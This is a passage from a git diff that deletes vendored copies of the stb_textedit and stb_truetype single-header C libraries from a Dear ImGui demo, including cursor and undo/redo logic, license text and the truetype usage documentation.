- case STB_TEXTEDIT_K_UNDO: - stb_text_undo(str, state); - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_REDO: - stb_text_redo(str, state); - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_LEFT: - // if currently there's a selection, move cursor to start of selection - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_first(state); - else - if (state->cursor > 0) - --state->cursor; - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_RIGHT: - // if currently there's a selection, move cursor to end of selection - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_last(str, state); - else - ++state->cursor; - stb_textedit_clamp(str, state); - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_LEFT | STB_TEXTEDIT_K_SHIFT: - stb_textedit_clamp(str, state); - stb_textedit_prep_selection_at_cursor(state); - // move selection left - if (state->select_end > 0) - --state->select_end; - state->cursor = state->select_end; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_MOVEWORDLEFT - case STB_TEXTEDIT_K_WORDLEFT: - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_first(state); - else { - state->cursor = STB_TEXTEDIT_MOVEWORDLEFT(str, state->cursor); - stb_textedit_clamp( str, state ); - } - break; - - case STB_TEXTEDIT_K_WORDLEFT | STB_TEXTEDIT_K_SHIFT: - if( !STB_TEXT_HAS_SELECTION( state ) ) - stb_textedit_prep_selection_at_cursor(state); - - state->cursor = STB_TEXTEDIT_MOVEWORDLEFT(str, state->cursor); - state->select_end = state->cursor; - - stb_textedit_clamp( str, state ); - break; -#endif - -#ifdef STB_TEXTEDIT_MOVEWORDRIGHT - case STB_TEXTEDIT_K_WORDRIGHT: - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_last(str, state); - else { - state->cursor = STB_TEXTEDIT_MOVEWORDRIGHT(str, state->cursor); - stb_textedit_clamp( str, state ); - } - break; - - case STB_TEXTEDIT_K_WORDRIGHT | STB_TEXTEDIT_K_SHIFT: - if( !STB_TEXT_HAS_SELECTION( state ) ) - stb_textedit_prep_selection_at_cursor(state); - - state->cursor = STB_TEXTEDIT_MOVEWORDRIGHT(str, state->cursor); - state->select_end = state->cursor; - - stb_textedit_clamp( str, state ); - break; -#endif - - case STB_TEXTEDIT_K_RIGHT | STB_TEXTEDIT_K_SHIFT: - stb_textedit_prep_selection_at_cursor(state); - // move selection right - ++state->select_end; - stb_textedit_clamp(str, state); - state->cursor = state->select_end; - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_DOWN: - case STB_TEXTEDIT_K_DOWN | STB_TEXTEDIT_K_SHIFT: - case STB_TEXTEDIT_K_PGDOWN: - case STB_TEXTEDIT_K_PGDOWN | STB_TEXTEDIT_K_SHIFT: { - StbFindState find; - StbTexteditRow row; - int i, j, sel = (key & STB_TEXTEDIT_K_SHIFT) != 0; - int is_page = (key & ~STB_TEXTEDIT_K_SHIFT) == STB_TEXTEDIT_K_PGDOWN; - int row_count = is_page ? state->row_count_per_page : 1; - - if (!is_page && state->single_line) { - // on windows, up&down in single-line behave like left&right - key = STB_TEXTEDIT_K_RIGHT | (key & STB_TEXTEDIT_K_SHIFT); - goto retry; - } - - if (sel) - stb_textedit_prep_selection_at_cursor(state); - else if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_last(str, state); - - // compute current position of cursor point - stb_textedit_clamp(str, state); - stb_textedit_find_charpos(&find, str, state->cursor, state->single_line); - - for (j = 0; j < row_count; ++j) { - float x, goal_x = state->has_preferred_x ? state->preferred_x : find.x; - int start = find.first_char + find.length; - - if (find.length == 0) - break; - - // [DEAR IMGUI] - // going down while being on the last line shouldn't bring us to that line end - if (STB_TEXTEDIT_GETCHAR(str, find.first_char + find.length - 1) != STB_TEXTEDIT_NEWLINE) - break; - - // now find character position down a row - state->cursor = start; - STB_TEXTEDIT_LAYOUTROW(&row, str, state->cursor); - x = row.x0; - for (i=0; i < row.num_chars; ++i) { - float dx = STB_TEXTEDIT_GETWIDTH(str, start, i); - #ifdef STB_TEXTEDIT_GETWIDTH_NEWLINE - if (dx == STB_TEXTEDIT_GETWIDTH_NEWLINE) - break; - #endif - x += dx; - if (x > goal_x) - break; - ++state->cursor; - } - stb_textedit_clamp(str, state); - - state->has_preferred_x = 1; - state->preferred_x = goal_x; - - if (sel) - state->select_end = state->cursor; - - // go to next line - find.first_char = find.first_char + find.length; - find.length = row.num_chars; - } - break; - } - - case STB_TEXTEDIT_K_UP: - case STB_TEXTEDIT_K_UP | STB_TEXTEDIT_K_SHIFT: - case STB_TEXTEDIT_K_PGUP: - case STB_TEXTEDIT_K_PGUP | STB_TEXTEDIT_K_SHIFT: { - StbFindState find; - StbTexteditRow row; - int i, j, prev_scan, sel = (key & STB_TEXTEDIT_K_SHIFT) != 0; - int is_page = (key & ~STB_TEXTEDIT_K_SHIFT) == STB_TEXTEDIT_K_PGUP; - int row_count = is_page ? state->row_count_per_page : 1; - - if (!is_page && state->single_line) { - // on windows, up&down become left&right - key = STB_TEXTEDIT_K_LEFT | (key & STB_TEXTEDIT_K_SHIFT); - goto retry; - } - - if (sel) - stb_textedit_prep_selection_at_cursor(state); - else if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_move_to_first(state); - - // compute current position of cursor point - stb_textedit_clamp(str, state); - stb_textedit_find_charpos(&find, str, state->cursor, state->single_line); - - for (j = 0; j < row_count; ++j) { - float x, goal_x = state->has_preferred_x ? state->preferred_x : find.x; - - // can only go up if there's a previous row - if (find.prev_first == find.first_char) - break; - - // now find character position up a row - state->cursor = find.prev_first; - STB_TEXTEDIT_LAYOUTROW(&row, str, state->cursor); - x = row.x0; - for (i=0; i < row.num_chars; ++i) { - float dx = STB_TEXTEDIT_GETWIDTH(str, find.prev_first, i); - #ifdef STB_TEXTEDIT_GETWIDTH_NEWLINE - if (dx == STB_TEXTEDIT_GETWIDTH_NEWLINE) - break; - #endif - x += dx; - if (x > goal_x) - break; - ++state->cursor; - } - stb_textedit_clamp(str, state); - - state->has_preferred_x = 1; - state->preferred_x = goal_x; - - if (sel) - state->select_end = state->cursor; - - // go to previous line - // (we need to scan previous line the hard way. maybe we could expose this as a new API function?) - prev_scan = find.prev_first > 0 ? find.prev_first - 1 : 0; - while (prev_scan > 0 && STB_TEXTEDIT_GETCHAR(str, prev_scan - 1) != STB_TEXTEDIT_NEWLINE) - --prev_scan; - find.first_char = find.prev_first; - find.prev_first = prev_scan; - } - break; - } - - case STB_TEXTEDIT_K_DELETE: - case STB_TEXTEDIT_K_DELETE | STB_TEXTEDIT_K_SHIFT: - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_delete_selection(str, state); - else { - int n = STB_TEXTEDIT_STRINGLEN(str); - if (state->cursor < n) - stb_textedit_delete(str, state, state->cursor, 1); - } - state->has_preferred_x = 0; - break; - - case STB_TEXTEDIT_K_BACKSPACE: - case STB_TEXTEDIT_K_BACKSPACE | STB_TEXTEDIT_K_SHIFT: - if (STB_TEXT_HAS_SELECTION(state)) - stb_textedit_delete_selection(str, state); - else { - stb_textedit_clamp(str, state); - if (state->cursor > 0) { - stb_textedit_delete(str, state, state->cursor-1, 1); - --state->cursor; - } - } - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_TEXTSTART2 - case STB_TEXTEDIT_K_TEXTSTART2: -#endif - case STB_TEXTEDIT_K_TEXTSTART: - state->cursor = state->select_start = state->select_end = 0; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_TEXTEND2 - case STB_TEXTEDIT_K_TEXTEND2: -#endif - case STB_TEXTEDIT_K_TEXTEND: - state->cursor = STB_TEXTEDIT_STRINGLEN(str); - state->select_start = state->select_end = 0; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_TEXTSTART2 - case STB_TEXTEDIT_K_TEXTSTART2 | STB_TEXTEDIT_K_SHIFT: -#endif - case STB_TEXTEDIT_K_TEXTSTART | STB_TEXTEDIT_K_SHIFT: - stb_textedit_prep_selection_at_cursor(state); - state->cursor = state->select_end = 0; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_TEXTEND2 - case STB_TEXTEDIT_K_TEXTEND2 | STB_TEXTEDIT_K_SHIFT: -#endif - case STB_TEXTEDIT_K_TEXTEND | STB_TEXTEDIT_K_SHIFT: - stb_textedit_prep_selection_at_cursor(state); - state->cursor = state->select_end = STB_TEXTEDIT_STRINGLEN(str); - state->has_preferred_x = 0; - break; - - -#ifdef STB_TEXTEDIT_K_LINESTART2 - case STB_TEXTEDIT_K_LINESTART2: -#endif - case STB_TEXTEDIT_K_LINESTART: - stb_textedit_clamp(str, state); - stb_textedit_move_to_first(state); - if (state->single_line) - state->cursor = 0; - else while (state->cursor > 0 && STB_TEXTEDIT_GETCHAR(str, state->cursor-1) != STB_TEXTEDIT_NEWLINE) - --state->cursor; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_LINEEND2 - case STB_TEXTEDIT_K_LINEEND2: -#endif - case STB_TEXTEDIT_K_LINEEND: { - int n = STB_TEXTEDIT_STRINGLEN(str); - stb_textedit_clamp(str, state); - stb_textedit_move_to_first(state); - if (state->single_line) - state->cursor = n; - else while (state->cursor < n && STB_TEXTEDIT_GETCHAR(str, state->cursor) != STB_TEXTEDIT_NEWLINE) - ++state->cursor; - state->has_preferred_x = 0; - break; - } - -#ifdef STB_TEXTEDIT_K_LINESTART2 - case STB_TEXTEDIT_K_LINESTART2 | STB_TEXTEDIT_K_SHIFT: -#endif - case STB_TEXTEDIT_K_LINESTART | STB_TEXTEDIT_K_SHIFT: - stb_textedit_clamp(str, state); - stb_textedit_prep_selection_at_cursor(state); - if (state->single_line) - state->cursor = 0; - else while (state->cursor > 0 && STB_TEXTEDIT_GETCHAR(str, state->cursor-1) != STB_TEXTEDIT_NEWLINE) - --state->cursor; - state->select_end = state->cursor; - state->has_preferred_x = 0; - break; - -#ifdef STB_TEXTEDIT_K_LINEEND2 - case STB_TEXTEDIT_K_LINEEND2 | STB_TEXTEDIT_K_SHIFT: -#endif - case STB_TEXTEDIT_K_LINEEND | STB_TEXTEDIT_K_SHIFT: { - int n = STB_TEXTEDIT_STRINGLEN(str); - stb_textedit_clamp(str, state); - stb_textedit_prep_selection_at_cursor(state); - if (state->single_line) - state->cursor = n; - else while (state->cursor < n && STB_TEXTEDIT_GETCHAR(str, state->cursor) != STB_TEXTEDIT_NEWLINE) - ++state->cursor; - state->select_end = state->cursor; - state->has_preferred_x = 0; - break; - } - } -} - -///////////////////////////////////////////////////////////////////////////// -// -// Undo processing -// -// @OPTIMIZE: the undo/redo buffer should be circular - -static void stb_textedit_flush_redo(StbUndoState *state) -{ - state->redo_point = STB_TEXTEDIT_UNDOSTATECOUNT; - state->redo_char_point = STB_TEXTEDIT_UNDOCHARCOUNT; -} - -// discard the oldest entry in the undo list -static void stb_textedit_discard_undo(StbUndoState *state) -{ - if (state->undo_point > 0) { - // if the 0th undo state has characters, clean those up - if (state->undo_rec[0].char_storage >= 0) { - int n = state->undo_rec[0].insert_length, i; - // delete n characters from all other records - state->undo_char_point -= n; - STB_TEXTEDIT_memmove(state->undo_char, state->undo_char + n, (size_t) (state->undo_char_point*sizeof(STB_TEXTEDIT_CHARTYPE))); - for (i=0; i < state->undo_point; ++i) - if (state->undo_rec[i].char_storage >= 0) - state->undo_rec[i].char_storage -= n; // @OPTIMIZE: get rid of char_storage and infer it - } - --state->undo_point; - STB_TEXTEDIT_memmove(state->undo_rec, state->undo_rec+1, (size_t) (state->undo_point*sizeof(state->undo_rec[0]))); - } -} - -// discard the oldest entry in the redo list--it's bad if this -// ever happens, but because undo & redo have to store the actual -// characters in different cases, the redo character buffer can -// fill up even though the undo buffer didn't -static void stb_textedit_discard_redo(StbUndoState *state) -{ - int k = STB_TEXTEDIT_UNDOSTATECOUNT-1; - - if (state->redo_point <= k) { - // if the k'th undo state has characters, clean those up - if (state->undo_rec[k].char_storage >= 0) { - int n = state->undo_rec[k].insert_length, i; - // move the remaining redo character data to the end of the buffer - state->redo_char_point += n; - STB_TEXTEDIT_memmove(state->undo_char + state->redo_char_point, state->undo_char + state->redo_char_point-n, (size_t) ((STB_TEXTEDIT_UNDOCHARCOUNT - state->redo_char_point)*sizeof(STB_TEXTEDIT_CHARTYPE))); - // adjust the position of all the other records to account for above memmove - for (i=state->redo_point; i < k; ++i) - if (state->undo_rec[i].char_storage >= 0) - state->undo_rec[i].char_storage += n; - } - // now move all the redo records towards the end of the buffer; the first one is at 'redo_point' - // [DEAR IMGUI] - size_t move_size = (size_t)((STB_TEXTEDIT_UNDOSTATECOUNT - state->redo_point - 1) * sizeof(state->undo_rec[0])); - const char* buf_begin = (char*)state->undo_rec; (void)buf_begin; - const char* buf_end = (char*)state->undo_rec + sizeof(state->undo_rec); (void)buf_end; - IM_ASSERT(((char*)(state->undo_rec + state->redo_point)) >= buf_begin); - IM_ASSERT(((char*)(state->undo_rec + state->redo_point + 1) + move_size) <= buf_end); - STB_TEXTEDIT_memmove(state->undo_rec + state->redo_point+1, state->undo_rec + state->redo_point, move_size); - - // now move redo_point to point to the new one - ++state->redo_point; - } -} - -static StbUndoRecord *stb_text_create_undo_record(StbUndoState *state, int numchars) -{ - // any time we create a new undo record, we discard redo - stb_textedit_flush_redo(state); - - // if we have no free records, we have to make room, by sliding the - // existing records down - if (state->undo_point == STB_TEXTEDIT_UNDOSTATECOUNT) - stb_textedit_discard_undo(state); - - // if the characters to store won't possibly fit in the buffer, we can't undo - if (numchars > STB_TEXTEDIT_UNDOCHARCOUNT) { - state->undo_point = 0; - state->undo_char_point = 0; - return NULL; - } - - // if we don't have enough free characters in the buffer, we have to make room - while (state->undo_char_point + numchars > STB_TEXTEDIT_UNDOCHARCOUNT) - stb_textedit_discard_undo(state); - - return &state->undo_rec[state->undo_point++]; -} - -static STB_TEXTEDIT_CHARTYPE *stb_text_createundo(StbUndoState *state, int pos, int insert_len, int delete_len) -{ - StbUndoRecord *r = stb_text_create_undo_record(state, insert_len); - if (r == NULL) - return NULL; - - r->where = pos; - r->insert_length = (STB_TEXTEDIT_POSITIONTYPE) insert_len; - r->delete_length = (STB_TEXTEDIT_POSITIONTYPE) delete_len; - - if (insert_len == 0) { - r->char_storage = -1; - return NULL; - } else { - r->char_storage = state->undo_char_point; - state->undo_char_point += insert_len; - return &state->undo_char[r->char_storage]; - } -} - -static void stb_text_undo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - StbUndoState *s = &state->undostate; - StbUndoRecord u, *r; - if (s->undo_point == 0) - return; - - // we need to do two things: apply the undo record, and create a redo record - u = s->undo_rec[s->undo_point-1]; - r = &s->undo_rec[s->redo_point-1]; - r->char_storage = -1; - - r->insert_length = u.delete_length; - r->delete_length = u.insert_length; - r->where = u.where; - - if (u.delete_length) { - // if the undo record says to delete characters, then the redo record will - // need to re-insert the characters that get deleted, so we need to store - // them. - - // there are three cases: - // there's enough room to store the characters - // characters stored for *redoing* don't leave room for redo - // characters stored for *undoing* don't leave room for redo - // if the last is true, we have to bail - - if (s->undo_char_point + u.delete_length >= STB_TEXTEDIT_UNDOCHARCOUNT) { - // the undo records take up too much character space; there's no space to store the redo characters - r->insert_length = 0; - } else { - int i; - - // there's definitely room to store the characters eventually - while (s->undo_char_point + u.delete_length > s->redo_char_point) { - // should never happen: - if (s->redo_point == STB_TEXTEDIT_UNDOSTATECOUNT) - return; - // there's currently not enough room, so discard a redo record - stb_textedit_discard_redo(s); - } - r = &s->undo_rec[s->redo_point-1]; - - r->char_storage = s->redo_char_point - u.delete_length; - s->redo_char_point = s->redo_char_point - u.delete_length; - - // now save the characters - for (i=0; i < u.delete_length; ++i) - s->undo_char[r->char_storage + i] = STB_TEXTEDIT_GETCHAR(str, u.where + i); - } - - // now we can carry out the deletion - STB_TEXTEDIT_DELETECHARS(str, u.where, u.delete_length); - } - - // check type of recorded action: - if (u.insert_length) { - // easy case: was a deletion, so we need to insert n characters - STB_TEXTEDIT_INSERTCHARS(str, u.where, &s->undo_char[u.char_storage], u.insert_length); - s->undo_char_point -= u.insert_length; - } - - state->cursor = u.where + u.insert_length; - - s->undo_point--; - s->redo_point--; -} - -static void stb_text_redo(STB_TEXTEDIT_STRING *str, STB_TexteditState *state) -{ - StbUndoState *s = &state->undostate; - StbUndoRecord *u, r; - if (s->redo_point == STB_TEXTEDIT_UNDOSTATECOUNT) - return; - - // we need to do two things: apply the redo record, and create an undo record - u = &s->undo_rec[s->undo_point]; - r = s->undo_rec[s->redo_point]; - - // we KNOW there must be room for the undo record, because the redo record - // was derived from an undo record - - u->delete_length = r.insert_length; - u->insert_length = r.delete_length; - u->where = r.where; - u->char_storage = -1; - - if (r.delete_length) { - // the redo record requires us to delete characters, so the undo record - // needs to store the characters - - if (s->undo_char_point + u->insert_length > s->redo_char_point) { - u->insert_length = 0; - u->delete_length = 0; - } else { - int i; - u->char_storage = s->undo_char_point; - s->undo_char_point = s->undo_char_point + u->insert_length; - - // now save the characters - for (i=0; i < u->insert_length; ++i) - s->undo_char[u->char_storage + i] = STB_TEXTEDIT_GETCHAR(str, u->where + i); - } - - STB_TEXTEDIT_DELETECHARS(str, r.where, r.delete_length); - } - - if (r.insert_length) { - // easy case: need to insert n characters - STB_TEXTEDIT_INSERTCHARS(str, r.where, &s->undo_char[r.char_storage], r.insert_length); - s->redo_char_point += r.insert_length; - } - - state->cursor = r.where + r.insert_length; - - s->undo_point++; - s->redo_point++; -} - -static void stb_text_makeundo_insert(STB_TexteditState *state, int where, int length) -{ - stb_text_createundo(&state->undostate, where, 0, length); -} - -static void stb_text_makeundo_delete(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int length) -{ - int i; - STB_TEXTEDIT_CHARTYPE *p = stb_text_createundo(&state->undostate, where, length, 0); - if (p) { - for (i=0; i < length; ++i) - p[i] = STB_TEXTEDIT_GETCHAR(str, where+i); - } -} - -static void stb_text_makeundo_replace(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, int where, int old_length, int new_length) -{ - int i; - STB_TEXTEDIT_CHARTYPE *p = stb_text_createundo(&state->undostate, where, old_length, new_length); - if (p) { - for (i=0; i < old_length; ++i) - p[i] = STB_TEXTEDIT_GETCHAR(str, where+i); - } -} - -// reset the state to default -static void stb_textedit_clear_state(STB_TexteditState *state, int is_single_line) -{ - state->undostate.undo_point = 0; - state->undostate.undo_char_point = 0; - state->undostate.redo_point = STB_TEXTEDIT_UNDOSTATECOUNT; - state->undostate.redo_char_point = STB_TEXTEDIT_UNDOCHARCOUNT; - state->select_end = state->select_start = 0; - state->cursor = 0; - state->has_preferred_x = 0; - state->preferred_x = 0; - state->cursor_at_end_of_line = 0; - state->initialized = 1; - state->single_line = (unsigned char) is_single_line; - state->insert_mode = 0; - state->row_count_per_page = 0; -} - -// API initialize -static void stb_textedit_initialize_state(STB_TexteditState *state, int is_single_line) -{ - stb_textedit_clear_state(state, is_single_line); -} - -#if defined(__GNUC__) || defined(__clang__) -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wcast-qual" -#endif - -static int stb_textedit_paste(STB_TEXTEDIT_STRING *str, STB_TexteditState *state, STB_TEXTEDIT_CHARTYPE const *ctext, int len) -{ - return stb_textedit_paste_internal(str, state, (STB_TEXTEDIT_CHARTYPE *) ctext, len); -} - -#if defined(__GNUC__) || defined(__clang__) -#pragma GCC diagnostic pop -#endif - -#endif//STB_TEXTEDIT_IMPLEMENTATION - -/* ------------------------------------------------------------------------------- -This software is available under 2 licenses -- choose whichever you prefer. ------------------------------------------------------------------------------- -ALTERNATIVE A - MIT License -Copyright (c) 2017 Sean Barrett -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. ------------------------------------------------------------------------------- -ALTERNATIVE B - Public Domain (www.unlicense.org) -This is free and unencumbered software released into the public domain. -Anyone is free to copy, modify, publish, use, compile, sell, or distribute this -software, either in source code form or as a compiled binary, for any purpose, -commercial or non-commercial, and by any means. -In jurisdictions that recognize copyright laws, the author or authors of this -software dedicate any and all copyright interest in the software to the public -domain. We make this dedication for the benefit of the public at large and to -the detriment of our heirs and successors. We intend this dedication to be an -overt act of relinquishment in perpetuity of all present and future rights to -this software under copyright law. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN -ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------- -*/ diff --git a/demos/DemoImGui/imstb_truetype.h b/demos/DemoImGui/imstb_truetype.h deleted file mode 100644 index fc815d7..0000000 --- a/demos/DemoImGui/imstb_truetype.h +++ /dev/null @@ -1,4903 +0,0 @@ -// [DEAR IMGUI] -// This is a slightly modified version of stb_truetype.h 1.20. -// Mostly fixing for compiler and static analyzer warnings. -// Grep for [DEAR IMGUI] to find the changes. - -// stb_truetype.h - v1.20 - public domain -// authored from 2009-2016 by Sean Barrett / RAD Game Tools -// -// This library processes TrueType files: -// parse files -// extract glyph metrics -// extract glyph shapes -// render glyphs to one-channel bitmaps with antialiasing (box filter) -// render glyphs to one-channel SDF bitmaps (signed-distance field/function) -// -// Todo: -// non-MS cmaps -// crashproof on bad data -// hinting? (no longer patented) -// cleartype-style AA? -// optimize: use simple memory allocator for intermediates -// optimize: build edge-list directly from curves -// optimize: rasterize directly from curves? -// -// ADDITIONAL CONTRIBUTORS -// -// Mikko Mononen: compound shape support, more cmap formats -// Tor Andersson: kerning, subpixel rendering -// Dougall Johnson: OpenType / Type 2 font handling -// Daniel Ribeiro Maciel: basic GPOS-based kerning -// -// Misc other: -// Ryan Gordon -// Simon Glass -// github:IntellectualKitty -// Imanol Celaya -// Daniel Ribeiro Maciel -// -// Bug/warning reports/fixes: -// "Zer" on mollyrocket Fabian "ryg" Giesen -// Cass Everitt Martins Mozeiko -// stoiko (Haemimont Games) Cap Petschulat -// Brian Hook Omar Cornut -// Walter van Niftrik github:aloucks -// David Gow Peter LaValle -// David Given Sergey Popov -// Ivan-Assen Ivanov Giumo X. Clanjor -// Anthony Pesch Higor Euripedes -// Johan Duparc Thomas Fields -// Hou Qiming Derek Vinyard -// Rob Loach Cort Stratton -// Kenney Phillis Jr. github:oyvindjam -// Brian Costabile github:vassvik -// -// VERSION HISTORY -// -// 1.20 (2019-02-07) PackFontRange skips missing codepoints; GetScaleFontVMetrics() -// 1.19 (2018-02-11) GPOS kerning, STBTT_fmod -// 1.18 (2018-01-29) add missing function -// 1.17 (2017-07-23) make more arguments const; doc fix -// 1.16 (2017-07-12) SDF support -// 1.15 (2017-03-03) make more arguments const -// 1.14 (2017-01-16) num-fonts-in-TTC function -// 1.13 (2017-01-02) support OpenType fonts, certain Apple fonts -// 1.12 (2016-10-25) suppress warnings about casting away const with -Wcast-qual -// 1.11 (2016-04-02) fix unused-variable warning -// 1.10 (2016-04-02) user-defined fabs(); rare memory leak; remove duplicate typedef -// 1.09 (2016-01-16) warning fix; avoid crash on outofmem; use allocation userdata properly -// 1.08 (2015-09-13) document stbtt_Rasterize(); fixes for vertical & horizontal edges -// 1.07 (2015-08-01) allow PackFontRanges to accept arrays of sparse codepoints; -// variant PackFontRanges to pack and render in separate phases; -// fix stbtt_GetFontOFfsetForIndex (never worked for non-0 input?); -// fixed an assert() bug in the new rasterizer -// replace assert() with STBTT_assert() in new rasterizer -// -// Full history can be found at the end of this file. -// -// LICENSE -// -// See end of file for license information. -// -// USAGE -// -// Include this file in whatever places need to refer to it. In ONE C/C++ -// file, write: -// #define STB_TRUETYPE_IMPLEMENTATION -// before the #include of this file. This expands out the actual -// implementation into that C/C++ file. -// -// To make the implementation private to the file that generates the implementation, -// #define STBTT_STATIC -// -// Simple 3D API (don't ship this, but it's fine for tools and quick start) -// stbtt_BakeFontBitmap() -- bake a font to a bitmap for use as texture -// stbtt_GetBakedQuad() -- compute quad to draw for a given char -// -// Improved 3D API (more shippable): -// #include "stb_rect_pack.h" -- optional, but you really want it -// stbtt_PackBegin() -// stbtt_PackSetOversampling() -- for improved quality on small fonts -// stbtt_PackFontRanges() -- pack and renders -// stbtt_PackEnd() -// stbtt_GetPackedQuad() -// -// "Load" a font file from a memory buffer (you have to keep the buffer loaded) -// stbtt_InitFont() -// stbtt_GetFontOffsetForIndex() -- indexing for TTC font collections -// stbtt_GetNumberOfFonts() -- number of fonts for TTC font collections -// -// Render a unicode codepoint to a bitmap -// stbtt_GetCodepointBitmap() -- allocates and returns a bitmap -// stbtt_MakeCodepointBitmap() -- renders into bitmap you provide -// stbtt_GetCodepointBitmapBox() -- how big the bitmap must be -// -// Character advance/positioning -// stbtt_GetCodepointHMetrics() -// stbtt_GetFontVMetrics() -// stbtt_GetFontVMetricsOS2() -// stbtt_GetCodepointKernAdvance() -// -// Starting with version 1.06, the rasterizer was replaced with a new, -// faster and generally-more-precise rasterizer. The new rasterizer more -// accurately measures pixel coverage for anti-aliasing, except in the case -// where multiple shapes overlap, in which case it overestimates the AA pixel -// coverage. Thus, anti-aliasing of intersecting shapes may look wrong. If -// this turns out to be a problem, you can re-enable the old rasterizer with -// #define STBTT_RASTERIZER_VERSION 1 -// which will incur about a 15% speed hit. -// -// ADDITIONAL DOCUMENTATION -// -// Immediately after this block comment are a series of sample programs. -// -// After the sample programs is the "header file" section. This section -// includes documentation for each API function. -// -// Some important concepts to understand to use this library: -// -// Codepoint -// Characters are defined by unicode codepoints, e.g. 65 is -// uppercase A, 231 is lowercase c with a cedilla, 0x7e30 is -// the hiragana for "ma". -// -// Glyph -// A visual character shape (every codepoint is rendered as -// some glyph) -// -// Glyph index -// A font-specific integer ID representing a glyph -// -// Baseline -// Glyph shapes are defined relative to a baseline, which is the -// bottom of uppercase characters. Characters extend both above -// and below the baseline. -// -// Current Point -// As you draw text to the screen, you keep track of a "current point" -// which is the origin of each character. The current point's vertical -// position is the baseline. Even "baked fonts" use this model. -// -// Vertical Font Metrics -// The vertical qualities of the font, used to vertically position -// and space the characters. See docs for stbtt_GetFontVMetrics. -// -// Font Size in Pixels or Points -// The preferred interface for specifying font sizes in stb_truetype -// is to specify how tall the font's vertical extent should be in pixels. -// If that sounds good enough, skip the next paragraph. -// -// Most font APIs instead use "points", which are a common typographic -// measurement for describing font size, defined as 72 points per inch. -// stb_truetype provides a point API for compatibility. However, true -// "per inch" conventions don't make much sense on computer displays -// since different monitors have different number of pixels per -// inch. For example, Windows traditionally uses a convention that -// there are 96 pixels per inch, thus making 'inch' measurements have -// nothing to do with inches, and thus effectively defining a point to -// be 1.333 pixels. Additionally, the TrueType font data provides -// an explicit scale factor to scale a given font's glyphs to points, -// but the author has observed that this scale factor is often wrong -// for non-commercial fonts, thus making fonts scaled in points -// according to the TrueType spec incoherently sized in practice. -// -// DETAILED USAGE: -// -// Scale: -// Select how high you want the font to be, in points or pixels. -// Call ScaleForPixelHeight or ScaleForMappingEmToPixels to compute -// a scale factor SF that will be used by all other functions. -// -// Baseline: -// You need to select a y-coordinate that is the baseline of where -// your text will appear. Call GetFontBoundingBox to get the baseline-relative -// bounding box for all characters. SF*-y0 will be the distance in pixels -// that the worst-case character could extend above the baseline, so if -// you want the top edge of characters to appear at the top of the -// screen where y=0, then you would set the baseline to SF*-y0. -// -// Current point: -// Set the current point where the first character will appear. The -// first character could extend left of the current point; this is font -// dependent. You can either choose a current point that is the leftmost -// point and hope, or add some padding, or check the bounding box or -// left-side-bearing of the first character to be displayed and set -// the current point based on that. -// -// Displaying a character: -// Compute the bounding box of the character. It will contain signed values -// relative to . I.e. if it returns x0,y0,x1,y1, -// then the character should be displayed in the rectangle from -// to = 32 && *text < 128) { - stbtt_aligned_quad q; - stbtt_GetBakedQuad(cdata, 512,512, *text-32, &x,&y,&q,1);//1=opengl & d3d10+,0=d3d9 - glTexCoord2f(q.s0,q.t1); glVertex2f(q.x0,q.y0); - glTexCoord2f(q.s1,q.t1); glVertex2f(q.x1,q.y0); - glTexCoord2f(q.s1,q.t0); glVertex2f(q.x1,q.y1); - glTexCoord2f(q.s0,q.t0); glVertex2f(q.x0,q.y1); - } - ++text; - } - glEnd(); -} -#endif -// -// -////////////////////////////////////////////////////////////////////////////// -// -// Complete program (this compiles): get a single bitmap, print as ASCII art -// -#if 0 -#include -#define STB_TRUETYPE_IMPLEMENTATION // force following include to generate implementation -#include "stb_truetype.h" - -char ttf_buffer[1<<25]; - -int main(int argc, char 